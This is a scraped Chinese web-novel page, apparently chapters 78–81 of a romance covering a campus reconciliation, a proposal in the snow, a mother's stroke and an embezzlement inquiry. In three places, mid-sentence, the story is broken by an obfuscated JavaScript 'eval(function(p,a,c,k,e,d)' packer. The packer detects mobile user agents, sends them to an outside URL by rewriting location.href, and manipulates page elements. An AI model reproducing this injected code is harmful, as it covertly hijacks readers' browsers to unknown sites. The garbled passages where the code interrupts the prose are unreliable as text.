霍辞又讲了一篇新的故事,嗓音依然磁性而温柔。这一次宁姿窝在他温热的怀里,有心跳声作为伴奏,沉沉睡了过去。 · 霍辞原本想让宁姿待在家里安心养伤,但她惦记小组作业,评分会算进期末考核成绩里,况且脚伤恢复得不错,情绪也平稳,觉得自己没问题,提出要去学校。霍辞同意,条件是每天接送她上下学。 车停在校门口,宁姿取下安全带,满脸写着不乐意,“住校很方便,有董筱和丽佳在。” “她们和你不是同一间寝室,你现在这种情况,上下床爬梯有风险,拿东西得麻烦室友,不太好。”霍辞晓之以理,动之以情。 宁姿觉得他这话说得有几分道理,扫了眼放在后座的拐杖,转回头对上他的眼睛,“消失的拐杖怎么又出现了?” “我也很惊讶。” 宁姿看着他说起谎来脸不红气不乱的样子,发自内心觉得他真是个可怕的家伙。 同往常一样上下课,朋友们关心她的脚伤,宁姿没把绑架的事说出去,只说是自己不小心把脚扭伤了。 傍晚下课后,董筱要去市里,打算蹭霍辞的车,陪宁姿一起向正校门走,经过人工湖时,董筱想起手机落在阶梯教室里,只好折返回去取。 她离开后,宁姿坐在湖边的石凳上等,把拐杖放在一旁。 金乌将坠,绚烂斑斓的云霞将暮空晕作绯色,晴朗而浓烈,更像一幅奇幻的画卷。人工湖宛如一块剔透碧玉,湖边大片银杏树的叶子是耀眼的金黄色,景致美轮美奂。 宁姿静下心欣赏,沉溺在和煦的秋风中,惬意地微眯起眼,没注意到一道身影在靠近。直到那人停在她面前,宁姿才后知后觉那充满敌意的视线。回过神来,看清面前站着的人是钟荔荔。 她瘦了许多,面容苍白,眼下乌青一片,神色憔悴又凄怆,两只眼死死盯着宁姿,一声不吭。 宁姿平静地看着她,主动开口,“找我的?” 钟荔荔眼眶发红,抿紧的唇隐隐颤抖。 “有话就说。”宁姿缓缓说。 钟荔荔苦笑一声,“真有闲情雅致,明明有人被你害得家破人亡。” 宁姿淡淡瞥了她一眼,“理解你心里不好受,但我无愧于心。” 钟荔荔咬了咬牙,道:“你从出生起就是‘红鼎轩’的继承人,所有人都说我们一家三口是借了你的光。同学们把我认作继承人,我不敢否认,生怕他们觉得我比不上你。爸妈说你成绩好,叫我不许输。我不聪明,记忆力差,那么多夜晚,困极了也不敢睡,一遍又一遍温书,背诵,刷题。闲暇时间不能玩,得学习才艺。我这么努力了,依然无法超越你。” “我从没和你比过。”宁姿说。 钟荔荔听了这话,再度冷笑一声,“正是这种云淡风轻的态度更让我厌恶。我付出过的努力不入你的眼,像一个笑话。宁姿,你总有把别人变得可笑的本事。我爸被关起来,法院判决我家得偿还巨额债务,之前和爸爸合作的那些人也翻了脸,找我们孤儿寡母要钱。我妈为这事气到昏倒,现在都下不了床。” 宁姿并不迟疑,“你父亲做过太多亏心事,如今遭受的一切都是报应。清醒点,不要步他的后尘。” “这里只有我和你,不怕吗?”钟荔荔俯视她,轻吐出这句话,先是瞄了眼她包扎严实的脚,又将目光投在身后的人工湖,瞳孔颜色渐深。 宁姿默然片刻,再度抬起眼眸时,眼底一如往常沉寂,“你才十八岁,还有很长一段人生路。不要为击败我而活,只为自己。” “走到今天,我已经很疲惫。”钟荔荔的嗓音透着一股苍凉。 宁姿没有看她,目光落在脚边的小石子上,“朝前走总是费力,悲观或抵触都没用,不如望着前方的景色一直走下去。” “如果能重来一次就好了,这一次我会把你死死踩在脚下。”怅然叹息过后,钟荔荔低声说。 “如你所愿就能获得真正的开心吗?”宁姿反问。 钟荔荔顿时表情错愕,难以回答。 宁姿继续说:“跟任何人都无关,只与你自己有关。侥幸得到重来的机会,不是更该活出精彩的人生吗?再一次把目光聚焦在讨厌的人身上是一种可耻的浪费。” “说这些有什么意义?根本无法重来,只剩下残酷的现实。”钟荔荔觉得可笑,恍惚地摇头,眼角凝挂着一颗泪珠,黯然道。 宁姿并不是对她还残留亲情,只是见不得她这样消沉,扬高声线说:“那就把这一刻当作重来的契机。” 这话宛如一粒石子坠入寂静的湖面,溅起跃动的水花,钟荔荔晦暗的眼底燃起星星点点的光。宁姿看她不抵触,凝神静视片刻,说:“你父亲总有一天会回到你们身边。你母亲忧思郁结,身体孱弱,更需要你振作起来给她倚靠。一家人有团聚的时候,就有盼头。” “为什么和我说这些?难道你不恨我?”钟荔荔心情复杂。 宁姿诚实作答,“我恨你,但我更恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321082|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个存在于梦境里的钟荔荔,她和她的家人摧毁了我的一切,现在的你还不是她。至于未来会不会成为她,你想成为怎样的人,这些不该由我告诉你。摈弃没有意义的杂念,认真问自己,让你的心告诉你答案。” 钟荔荔心中最后一分防线崩塌,两行泪水顺着脸庞滑落下来,转过脸抹去,喑哑着嗓音说:“我还是讨厌你。” “我也是,希望往后当作不认识,再无交集。” 钟荔荔默认,转过头看了眼一旁的窄道,迈步离开,她忽然觉得很轻松,从未有过的感觉。 宁姿重又把视线移向天空绮丽的云霞,心里感叹还是美景值得关注,不必把心思放在恩恩怨怨上,不值得。 金黄色的银杏叶被秋风缱绻着送走,当第一片雪花降临时,到了学生们期待已久的寒假。 以往的宁姿对自己要求很高,即便刚经历过期末考试,假期也不愿松懈,总要找实习的机会,或报课程提升自己,但这个寒假不一样,她变得松弛了许多,不再一心想证明自己,不为未来感到紧迫,连那些充满血泪的前尘往事都在记忆里褪色,变得很淡很淡。 现在的她拥有在理想道路上前进的资格,拥有对未来畅想与追逐的权利,拥有爱,已经足够幸福。宁姿忽然就觉得,更该做的是享受当下,拥抱每一个平凡的时刻。 她向来畏寒,但又爱美,不喜欢穿得臃肿,酷爱穿各种款式的大衣,保暖效果差一些,但时髦好看。在这个方面,霍辞总爱教训她,甚至强硬地把她心爱的大衣藏起,半哄半强迫逼她披上厚实的羽绒服。 路途中,宁姿靠在副驾驶座椅上假寐,不肯和他说半句话。心里的不满在看见灯南竹海度假村的美景时烟消云散。 这是鹅毛大雪后的洁净人世,入目是白茫茫一片,那些古香古色的建筑在清雪的映衬下更添几抹雅致,穿梭其间几点竹的墨色将这景致渲染成巨幅水墨画,莹莹白光耀人眼,温柔而空盈。 宁姿的双眼骤然发亮,待车停稳后,迫不及待解下安全带下去。这地方的气温明显比城里低了许多,呼出的气体迅速化作清晰可见的白雾。好在霍辞逼她换上最厚实的羽绒服,宁姿暗暗庆幸,故意不说出口,不想让他骄傲。 霍辞订的是赏景位置绝佳的客房。宽敞向阳,装修风格古典精致,地面上铺了一层厚厚的绒毯,落足无声,给人以温暖的感受。宁姿最喜欢这里的古典特色,原来冬日的装饰风格又有些变化,应景得很。 霍辞把大部分工作安排在一起加班做完,会议也全都提前,为的就是陪她来度假,但依然不得全然清闲,还有部分工作得解决,把行李放好后的第一件事就是坐在沙发上打开笔记本电脑看项目资料。宁姿不去打扰他,安静地靠在窗台边欣赏一盆细叶寒兰。 株形修长,叶面鲜亮俊秀,花形小巧精致、姝色明艳,香味清雅怡人。 身后有了些动静,她没回头,腰被温暖的手臂环住。霍辞活像只黏人的大狗狗,下巴靠在她纤薄的肩,靠在她耳畔问:“看什么那么专心?” “细叶寒兰,没想到这里也有,你送我的那株我一直精心照料,比这株更娇娆。”她带了些小得意说。 “亲手呵护长大的花,自然不是别的能比的。”霍辞握住她的肩令她回过身与他对视,这话是说花,却也不只是花。 他漆深如墨的眸中映着她娇柔的容颜,眸间澎湃的情愫无处遁形。 79. 第七十九章 视线越过橡木窗棂,外面是一片清净无垢的白雪,树木枝条下挂着一串串清凌凌的冰柱,晶莹剔透,玉树琼枝美不胜收。 一对璧人的眼中却再也没有容纳下景致的空间,只倒映着彼此的轮廓。不需要多说什么,眼神交汇便已通晓对方的心意。在这片玉雪古楼中,二人深情拥吻。直至彼此呼吸声都变得急促,容祈与宁姿额头相抵,声音哑得有些过分,传入她耳畔带有奇异的性感,“养花和爱人一样,需要真心呵护,拿纯粹又浓郁的爱意浇灌,才能茁壮成长,开出鲜妍的花朵,散发盈盈芳香。” “你算不算我养出的花?”宁姿调皮地眨了下大眼睛。 霍辞食指弯曲轻点在她莹润的鼻头,“算,你把我养得非常好。” 宁姿从他的怀中钻了出来,走到行李箱旁,“猜猜我带了什么?” 霍辞看着尺寸略大的行李箱,随口说:“衣服、日用品?” 宁姿摇了摇头,一脸“就知道你猜不到”的表情,随后蹲下身开箱,揭开谜底。只见拿出面上放的几件外套、内搭毛衣、长裤和便携式日用品后,下面藏的全是花花绿绿的食品袋,是口味繁多的各类零食。 “有五种口味的薯片,辣的、不辣的都有,还有新出的芥末味;果冻买了两个品牌的,一种果香味浓郁,另一种果肉更饱满;囤了几种开胃的果子,这种风干的蔓越莓甜度刚刚好;巧克力不仅味道浓郁,造型也挺好看……” 末了,还特意卖乖,“这些全都是为你精心准备的。” “为我准备的?”霍辞好笑地反问。 她拍了拍胸脯,“我承诺过,今后你所有零食我全包。” “可我怎么觉得都是你喜欢吃的?”霍辞轻笑。 “好多也是你喜欢的……”她的声音弱下来。 吃过午餐后,二人来到冬雪潭。 果然得要冬日下雪后来才能真正领略此处的美,漫山遍野银装素裹,山顶出现了雾凇奇观,潭水静谧,仿佛沉睡在此处的无瑕墨玉,仔细看面上结了一层薄薄的冰。 宁姿带着厚厚的手套,调皮地蹲在一旁团起了雪球。霍辞站在她后面,含笑道:“打算拿这玩意儿砸我?” “不会,不会。”宁姿抿着唇笑,雪团越团越大,圆滚滚的很可爱,“打算堆一个雪人。” “一起。”霍辞走在她身边蹲下。 宁姿有些意外,以为他不会参与这种幼稚的游戏。 两人都属于认真的性格,一旦决定做什么事就全神贯注,都不再说话,手上辛勤劳动着,把肚子那块的雪球团得更大些,一起做雪人的头。周边能用的雪不多了,就挪到更远的位置收集不含枯枝败叶的净雪。 宁姿玩得不亦乐乎,毛线手套全被浸湿了,就脱下放在一边,盘算着等会儿给雪人戴上。 “那里的雪干净紧实,不容易散。”霍辞抬手指向一侧。 宁姿疑惑问:“你怎么不去?” “打算找两根漂亮的树枝,做雪人的手。” 她听话去了他推荐的位置,见到一座堆起来的小雪山,“四周一片平整,为什么这里会出现一座小雪山?下面埋着石头吗?” “挖开看一看不就知道。”霍辞微笑道。 宁姿接过他递过来的一根短木棍,耐心把小雪山刨开,又扔掉短木棍,兴致盎然地用双手往下刨,视线被一抹明耀的璀璨捕捉,莹白的雪映衬在四周,那精致小巧的钻石戒指显得十分夺人眼球。她的心重重跳了一下,意识到什么,定定地凝视着这枚戒指,眼都忘了眨,整个人像是傻掉了一样。 霍辞踩着积雪走来,鞋底发出“咯吱咯吱”的声响,和她急促的心跳旋律重合,更像是梦幻的奏鸣曲。他单膝跪下,从她刨出的小雪坑里拿出那枚钻戒,细心地拂去面上的雪沫。 “这是什么?”宁姿愕然发问。 “易拉罐的拉环。” “是戒指。”她反驳。 霍辞轻哂一声,“明知故问。” 他上身挺直,深情而温柔的看着她,低沉的声音带着不易察觉的颤抖传入她的耳中,“愿意接受我的求婚吗?” “你什么时候求过?”或许是还没从发蒙的状态里抽离,宁姿脱口反问。 精心准备的钻戒在霍辞的指尖熠熠生辉,他嗓音轻柔,“现在。宁姿小姐,请你嫁给我。” 宁姿双唇微抿,有理由怀疑张开一点,心都要激烈地从中跳出去,脑海中又想起一件事,“我还没毕业……” “婚礼按照原本的约定在毕业后举行,但我希望得到你的承诺。” “订婚不就是我们彼此最郑重的承诺?”宁姿化作好奇宝宝,再次抛出一个问题。 “我想给这个承诺加把锁。”话音初落,霍辞握起她的左手,将戒指戴在无名指上。指环划过她的肌肤,触感微凉,尺寸合适,不会过于紧,正好牢牢将她的无名指套住。 “由于问题过多,留给你考虑的时间已经耗尽,自动判定为默认。”他站起身,痞气地微弯下腰和她对视,“你被我锁住了。” “哪有这样的?”宁姿哭笑不得,低下头看自己的左手,白皙如玉的手指间,钻石折射着绚烂的光芒,“真的很漂亮,我舍不得摘下。” 霍辞心潮澎湃,紧紧握住女孩的左手,低头亲吻她的食指。被他唇瓣碰触过的一小块肌肤隐隐发烫,熏得她眼眶微红,宁姿轻声说:“一辈子都不想摘下来。” 霍辞刮了一下她的鼻子,微笑道:“这话是你自己说的,任何时候都不许摘。” 宁姿想了想,眉开眼笑,“洗澡的时候也不能摘?” “睡觉的时候呢?” “堆雪人的时候要是不小心落到了雪里怎么办?” “钻石那么大一颗,应该很贵吧?” 女孩的问题太多,白雪皑皑的仙境里回荡着清灵的笑声,在这美好的年华里,与爱人创造动人的回忆,有山间朦胧的雾气,冰融时化作水滴落在石头上的细微声响,还有胸腔里激荡着年轻的心跳。 · 年前,霍辞和宁姿陪霍老夫人去医院做过一次全面体检,查出患有高血压,之后霍老夫人一直服用降压药,每日遵医嘱用仪器测量血压,有意减少工作量,放权给霍氏饭店高层管理人员,注意休养身体,血压一直控制得很好。 年后却忽然接到电话说霍老夫人晕厥被送医,宁姿两人赶去时,人已经进了抢救室,霍亦辰坐在门口的椅子上,埋着脸,双手插进头发里,整个人看起来状态很差。 霍辞和宁姿对视一眼后,走到他身边问:“母亲为什么会突发脑溢血?” “不知道。”霍亦辰沉默了许久,小声说,没有给两人一个眼神,游魂般站起来朝走廊尽头走去。 “他的样子有点古怪。”宁姿眉头微蹙。 “会弄清楚的。”霍辞抬头凝视重症监护室大门上的灯牌,沉声道。 两人一直守在门口,打包来的馄饨霍辞只吃了两口,他实在没胃口,为免她担心,才勉强咽下。表面平静,一言不发,但宁姿深知他心里的担忧,安静地坐在他身边,握紧他的手。 夜幕降临,医院里嘈杂声不断,有机器叫号的声音、病人痛苦的呻吟声、家属的说话声……窗外闪烁着幽红色的光,每隔十几分钟,就有救护车开来停下。每天都有数不清的病人来到这个地方,有些是小病小痛,有些面临生命危险,有些人经过治疗能平安出院,有些人的生命却在此处陨落,再也无法回家,回到亲人身边。这里是见证了最多生命无常的地方,压抑的主色调充斥着每一寸角落,使人愕然醒悟,原来在生死面前,人类再也自大不得。 夜色浓重,像不懂事的孩子把墨水瓶碰倒,晕染出大片大片的黑,将天空都浸透。 霍辞的手指发凉,宁姿搓了许久,想把温暖传递给他。他的脸上写满疲惫,对她说:“回去休息吧。” “我要留在这里和你一起。”见他还想劝,宁姿坚定道,“已经决定了。” 霍辞默然,不再多说什么。两人并肩沉默地坐在连排座椅上,手交握在一起。 感受到他手指异样的颤抖,宁姿转过脸关切看向他,“哪里不舒服?” 霍辞摇头,“说不清,有点心悸。你说会不会抢救不顺利,或许是不好的预兆?” “你太紧张,之前又连着几晚加班,休息不够,才觉得难受。我帮你揉一下。”她柔软的小手贴在他胸口,轻而缓地顺时针揉着。 霍辞闭上双眼,浓黑的睫毛微微颤抖,眉头紧皱。宁姿看他这副焦心的模样心疼不已,抬手抚平他的眉间。 霍辞霍然睁开眼,眸间充斥着痛色,“我是不是错了?” 宁姿将手缓缓垂下,覆盖在他的手背上,眼中蒙上一层水雾。 “很长一段时间,我对她心怀埋怨,把自己放在受害者的位置不断责怪她。我怨怪她对我的抵触与隔阂,可我又何尝不是对她冷漠又尖锐?”他神色恍惚,懊恼道,“在我的印象中,她始终那么强势,就像永远都不会倒下。没想过她会老,会病,有一天也会一睡不起,扔下她守护毕生的霍氏饭店。” 霍辞像孩童一样战栗,垂下视线,整个人像被笼罩在一团阴云下,无助而破碎,“我怨怪她从没给过我关怀与疼爱,可我也没有关心过她,要不是你提醒,我在她病重时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第三天,霍老夫人总算有了点精神,主动说起令她受刺激发病的真相,原来霍氏饭店一直在争取成为光联集团在江城的独家合作酒店,不仅为承接所有活动赚取收益,更是因为光联集团的大本营在广州,涉猎各行各业,业务网非常宽泛,在商界有“广州老大哥”之称。如今光联分公司开到江城,如果霍氏能争取到这个名额,那么今后广州乃至全国的企业入驻江城,都将优先考虑与霍氏合作。为此,霍氏饭店上下做了非常多的准备。 许久不曾亲自料理饭店事务的霍老夫人也亲自出山指导工作,竟意外查出公司账目上凭空消失了一百万,追根溯源找到关元明。他涕泪纵横地承认,说自己也是为饭店着想,这笔钱换成现金,送给了光联集团江城分公司的总经理,对方承诺签下十年合约。谁知变故突生,最终光联集团定下了名不见经传的天季饭店,那笔巨款像入了江的石头,一望无踪,连个水花都没溅起来。可恨没有证据,那位总经理也一直联系不上。 霍老夫人也是在得知这事后,急血攻心突发脑溢血陷入昏迷。得知事情原委,宁姿愕然,没想到会发生这种事,这是在上一世不存在的事件。她暗自猜想或许是因为自己改变了很多事,致使关元明的行动轨迹也发生了变化。 霍辞把苹果切成块,装在果盘里,细心地放好叉子后递给霍老夫人,他的眉间掠过淡淡光影,显出沉稳的气度,“安心休养,其他的交给我。” 霍老夫人张开略苍白的唇,顿了两秒,轻言道:“孩子,辛苦你了。” 从病房里出来,宁姿还在回想这件事,说出心里的疑惑,“这么大笔数额,关元明是怎么神不知鬼不觉把钱取出来的?难道不需要经过其他股东的同意?” “财务、出纳也有问题,之后得严查内部员工,肃清毒瘤。要在短时间内完成审批、做假账、转款等一系列步骤,母亲的章一定在他手里。” “那刚刚伯母为什么没有提到?”宁姿脱口而出,下一瞬便想明白了,还能为什么?因为她想袒护偷走章的那个人,既能接触到章,又能让她无条件保护,那个人肯定是霍亦辰无疑,再加上之前他的怪异表现,逻辑立即通顺。 宁姿没有办法完全体会到霍辞此刻的心情,但她真的非常心疼,鼻头发酸,没有多想展开双臂抱住他的腰,也顾不得什么场合和他人的目光。 “霍辞,全世界我只偏心你一人。”她的嗓音微微带着颤抖,听起来像是受了委屈。 霍辞愣了片刻,脸上的锐气于刹那间柔化,绽放出温宁的笑意,抬手揉了揉她柔顺的头发,“知道,所以我是全世界最幸福的人。” 80. 第八十章 光联集团江城分公司选址在北城区的商业街,毗邻光华、兴正两大银行的总部大楼。由于新建成没多久,外观造型上更现代化,大气中不失前卫,顶部采用了国际上时兴的扭曲结构。 巧的是这座大楼正是由霍辞的风庭集团投资建造的,算在无形中搭起了一座沟通的桥梁。 上午,霍辞被带到会客室和分公司总经理刘泰平会面,对方是个气度不凡的中年人,为人很直接,才一起坐下来喝了两口茶,就问:“是大楼有什么问题吗?” “您误会了,大楼已售出,移交产权,这不是我今天的来意。”霍辞看了眼面前的茶杯,没动作,淡声说,“我也不是以风庭集团创始人的身份来拜访您,而是以霍氏饭店董事长儿子的身份。” 刘泰平表情没有多大变化,“我才来江城不久,早听说过风庭集团创始人姓霍,与江城霍家有关系,没想到是这样近的关系。” 真是个老狐狸,说起话来四两拨千斤。 霍辞开门见山,“我想向您了解拒绝和霍氏饭店合作的原因。” 刘泰平面不改色,看看他,低下头又抿了口茶,“无可奉告,如果每间酒店都像您一样,那我司的门槛都要被踏破了。” “您像是刻意回避。”霍辞直言不讳。 “我没有义务说,就算再无礼一些,门都不让你进,也合理。”刘泰平毫不客气道,右手五指贴紧茶杯。 霍辞眼神坚定道:“我方曾多次联系,你却拒绝沟通,莫非是有所隐瞒?” “你觉得我隐瞒了什么?”刘泰平面露不悦。 “换一个问题,你和关元明是否有过接触?”霍辞问,即便对方沉默许久,他也不催,只静静等着回答。 刘泰平笑了声,眼中却没有笑意,“不问自己人,反而跑来问我?”难道你今天的身份不是客人,而是警察,来调查我?我已经失去与你交谈的耐心,送客。” 正当气氛胶着之际,会客室的门忽然被人推开,室内二人都朝门口望去,只见一名身穿米色风衣的清丽女孩出现在门口,她身后是追来阻拦的秘书。 “女士,您没有预约,不能随便闯进去。” 宁姿弯起双眼一笑,“我人都已经在里面了,就让我和你们刘总说两句,没准他同意我留下呢?” 秘书想伸手拉她,把人带出去,霍辞见状猝然起身,冷着脸盯住秘书的手,气势太过慑人,把人骇得下意识缩回手。他大步流星走去,挡在宁姿面前,冷峻的脸显出一份阴戾,嗓音低沉而冷刻,“这位是我的未婚妻,请你放尊重些。” 秘书小姐不知所措,看向刘泰平。他脸色发沉,显然已经非常不满。 宁姿亲昵地挽上霍辞的手臂,甜甜一笑,“我是他的未婚妻,我叫宁姿。” 然后又看向刘泰平,“刘总,久仰大名,终于有幸见到您本尊。” 伸手不打笑脸人,即便刘泰平再不高兴,看见她的笑容后,严厉的表情也在不经意间缓和许多,“你们这对年轻的未婚夫妻真有意思,都喜欢突然造访,全不顾会不会给他人添麻烦。” 他话里有话,宁姿直接忽略,松开霍辞的手,径直走向外观古朴典雅的茶台,认认真真观察了一圈,像受邀来参观一般闲庭信步,“您是爱茶的人,茶器一应俱全。” 刘泰平没想到话题转得那么快,“年纪轻轻的小姑娘也懂茶道?” “略知皮毛,见了这样质感卓绝的茶台,心痒,手也痒。”她说话声清凌凌的,倒显得真诚。 “是懂茶之人还是随口说说,实践才能见真章,不如就请这位……”他顿了下。 “宁姿。”她不介意,再次笑着重复。 “请宁小姐随意施展,叫我也开开眼界。”刘泰平上下打量了她一番,一副“我倒是要看看你在装什么蒜”的神情。 宁姿全当没看出来,从容道:“恭敬不如从命。” 实在够巧,上一世嫁给霍亦辰后,宁姿也同其他富太太一起学过插花与茶道,本来她是不太感兴趣的,觉得学了也无用,没想到如今却在这种场合下意外派上用场,可见所有用心学会的技能都存在价值。 她的动作纯熟、举止优雅,一气呵成。将茶粉注入水,富有节奏地快速搅拌,打出黏稠的茶沫也不停,直至颜色变为褐色,再用茶勺沾上清水作画。 刘泰平本已准备好在她出糗后冷言冷语嘲讽几句,再把人轰走,没想到这小姑娘不仅姿态优美,技艺也高超。素白的手持茶勺,两分钟内转腕移动,平稳不颤抖,寥寥数笔已勾勒出一幅意象生趣的画,内容是“白鹭偏飞舞水滨”。 “点茶作画源于唐朝,兴于宋,历史上许多文人雅士都颇为赞颂。南宋诗人陆游便曾在《秋夜将晓出篱门迎凉有感二首》里写‘烟波江上使人惆怅,点茶时光尽可忘’,表达了点茶的愉悦和沉浸其中的忘我感。古往今来,都属一大雅事。宁姿,你年纪虽轻,却把我这自诩爱茶的中年人比了下去。”刘泰平再看向她时,眼神已转为赞赏与尊敬。 宁姿放下茶勺,微笑道:“说到底茶是用来喝的,懂得品茶的人都是茶的知音。” 刘泰平被她逗笑,“既然是知音,我就耐心坐下来听一听你们的真实来意。” 宁姿与霍辞互看一眼,一同落座。霍辞直言,“刘总,关元明是否曾来找您谈合作?” “他是来找过我几次。”刘泰平说。 霍辞细细思量一番,坦诚道:“他说您曾承诺与霍氏合作,签订二十年合约,条件是一百万。” 刘泰平听明白了,“你们认为我拿了钱,不办事,特意来找我算账?” “坦白说,我来的目的是试探。”霍辞看着他,眼底透着歉意,“虽然和您接触不多,但我认为您是个直接的人。这件事上,关元明说谎了。” “这是你们霍氏的事,我不方便评判什么,但想给你们一个提示,他的确来找过我很多次,每一次都大张旗鼓,像特意露出风声,做给别人看。你刚才提到的合约、一百万,我没说过这种话,也没从他口中听过。一开始我就说得很清楚,光联有意在江城进军酒店餐饮行业,因此不会选择像霍氏这类大规模的酒店合作,定了体量小的新兴酒店,毕竟合作是暂时性的。这一点关元明很清楚,但他锲而不舍,纠缠不休。我实在招架不住,才对霍氏饭店的人避之不及。” 霍辞心头一动,微微颔首,“明白了。” 告别刘泰平后,霍辞第一时间联系关元明,对方手机不通,找去他的住宅,发现早已人去楼空。这个坏消息对霍老夫人隐瞒,以免她情绪激动,影响身体健康。霍辞报案处理,同时自己也在积极追查关元明的下落。 一周后,宁姿接到一通陌生来电,竟是关夫人打来的。她叫上霍辞开车去对方口中县城,这里距离江城市区有三百多公里,车都开了近四个小时。 到达目的地,把车停在路边的停车位,二人下车朝天桥上走去。正月里寒气正浓,日头被埋在浓云之后,天空阴沉沉一片,连吸出的气都成了一团白雾。细小的雪花片自灰蒙蒙的天空飘下,落在行人的衣服上、发间。 霍辞一如既往的沉稳,脑子里在预估谈判可能遇到的情形,不忘关心宁姿,脱下大衣罩在她身上,牵紧她发凉的手。 走到天桥中央,底下的马路上仅有零星几辆车经过,靠在栏杆上的中年妇女形容憔悴,不似初见时那样秀丽,看起来老了许多,瘦弱的身上只裹了一件深灰色的棉衣,目光平淡似水,遥遥落在远方的道路,令人看不出情绪。 “关夫人……”宁姿轻声呼唤。 甘秀月回过神,转身面向两人,唇角弯起浅淡的弧度,“辛苦跑这一趟。” 宁姿迎上前去,握住她纤细得骨骼形状都已露出的手,“你过得还好吗?” 甘秀月眼角有晶莹的泪光闪烁,“挺得住,不要为我担心。倒是我该为丈夫犯下的错向你们致歉,霍老夫人入院的事我听说了,是我们夫妻俩对不住你们。” 霍辞恭敬道:“关夫人不必自责,你肯主动联络,我非常感激。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357078|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“请不要称呼我关夫人,我的名字叫甘秀月。”她神情坚定,仿佛已下定什么决心。 宁姿心潮起伏,感觉到了她的变化。 “他把我们母子安顿在这里,说过一段时间把我们接走。至于他,已经逃去香港。昨天来了电话,把他的落脚地告诉我,我写在纸条上。”甘秀月把一张叠好的纸条递给霍辞。 他有些吃惊,“为什么这样做?” “我犹豫了很久,带嘉嘉逃到这里,躲起来。现在想明白了,元明曾经不是这个样子,他踏实肯干,有才能,思维活泛,任谁都说是做生意的好材料。不知从什么时候起,他变得贪心、急躁、狂妄,采取不光明的手段去侵占、掠夺。随着贪欲的日益增加,胆量和野心也随之变大,一次比一次错得更深。是我这个做妻子的不称职,没及时劝阻丈夫,令他走到绝境。”甘秀月苍白的脸上淌下一行清泪,匆促低头,抬起袖子打算擦掉。宁姿递给她一张卫生纸,她接过后拭泪。 “我不能继续装聋作哑、粉饰太平。他已经变成我不认识的样子,再也不是当初我爱的那个男人,而我也不能再懦弱下去。曾经我也是一名充满理想的学生,对未来有很多憧憬,渴望实现自己的价值,只是后来这些心气都在婚姻的磋磨中被磨平,但我心中的渴望并没有消失,而是深埋在心底,如今重见天日。”她的泪水没被擦干,不断淌出来,眼眶深红,眸底却漾着明亮的光,“最重要的是嘉嘉,他还小,未来有无限可能性。一张白纸上会出现怎样的图案,丰富多彩还是阴暗诡谲,教育至关重要。我身为母亲必须以身作则,用现实告诉他,他爸爸做错事,应该付出代价,这是我教给他人生里最重要的一课。” “关夫人……不,甘女士明理,一定能给关嘉做好榜样。”霍辞郑重道。 “他的账本也在我这里,一起交给你们。”甘秀月从包里拿出一本厚厚的笔记本,交给霍辞,然后擦干眼泪看向宁姿,微笑道,“把这边的事处理好,过段时间我打算带嘉嘉回江城,新家安顿好后,你们愿意来家里吃一顿饭吗?那孩子很想你们。” “当然,一定要联系我们帮您一起搬家。”宁姿的声音清泠悦耳,像一阵温柔的春风拂过心间,甘秀月笑着点了点头。 有了甘秀月提供的线索和证据,关元明很快被找到,经过深度调查,霍氏饭店内部和他联合非法占有财物的同党全部被揪出,都付出了相应的代价。关元明挪走的一百万元,还了一半,另一半被投入灰色产业,赔得所剩无几,最终霍辞用私人财产填补空缺。这一点特意瞒住霍老夫人,免得老人家心里有负担。 好消息是霍老夫人康复得很快,情况完全稳定后就搬回家里住,幸亏抢救及时,没留下后遗症。 周末,霍辞和宁姿去霍家老宅吃晚餐,由于前段时间累积的公事太多,霍辞一直忙到中午才出发,到的时候霍老夫人正在午睡。二人在客厅里喝茶、吃点心等候。 宁姿饶有兴致地逗弄白猫雪云,雪云很喜欢她,竖起尾巴蹭她的小腿,撒娇不停,逗得她眉开眼笑,抱起小雪云来,抓住一只猫爪子朝霍辞招了招,“不摸一摸吗?” 霍辞的表情显得尤其严肃,身体站得笔直,隔了一段距离,“我不喜欢它。” “为什么?”宁姿完全不能理解,小家伙明明可爱极了。 “它的毛很长,沾了很多细菌。”说着,霍辞挪开视线。 宁姿不接受这个理由,“这是偏见,我们雪云香喷喷的,很干净。” “还有通工作电话要打,你自己和它玩。”霍辞快速说完,正想到阳台去,雪云更快一步,“喵”地叫了一声,从宁姿的怀里跳下去,一顿猛蹿后直扑向霍辞。他眼中骤起波澜,嘴唇微微张开,敏捷地伸手提住猫的后颈,吓得雪云边叫边炸毛,爪子乱挥。 “你这样抓着它,它会害怕。”宁姿抱怨,快步走过去。只见霍辞像一尊雕塑般一动不动,脸色似比刚才白了几度。 宁姿叫了他几声,没回应,恍然道:“霍辞,你该不会是怕猫吧?” 81. 第八十一章 问出那句话后,宁姿眼也不眨地打量霍辞,生怕错过他分毫的表情变化。 霍辞面不改色,只有眉梢稍微动了下,迅速把猫塞到她怀里,“仅仅是不喜欢。” 越是这么果断回答,宁姿越觉得不可信,一边抚摸雪云,一边说:“我持怀疑态度,除非你证明。” “不行。” 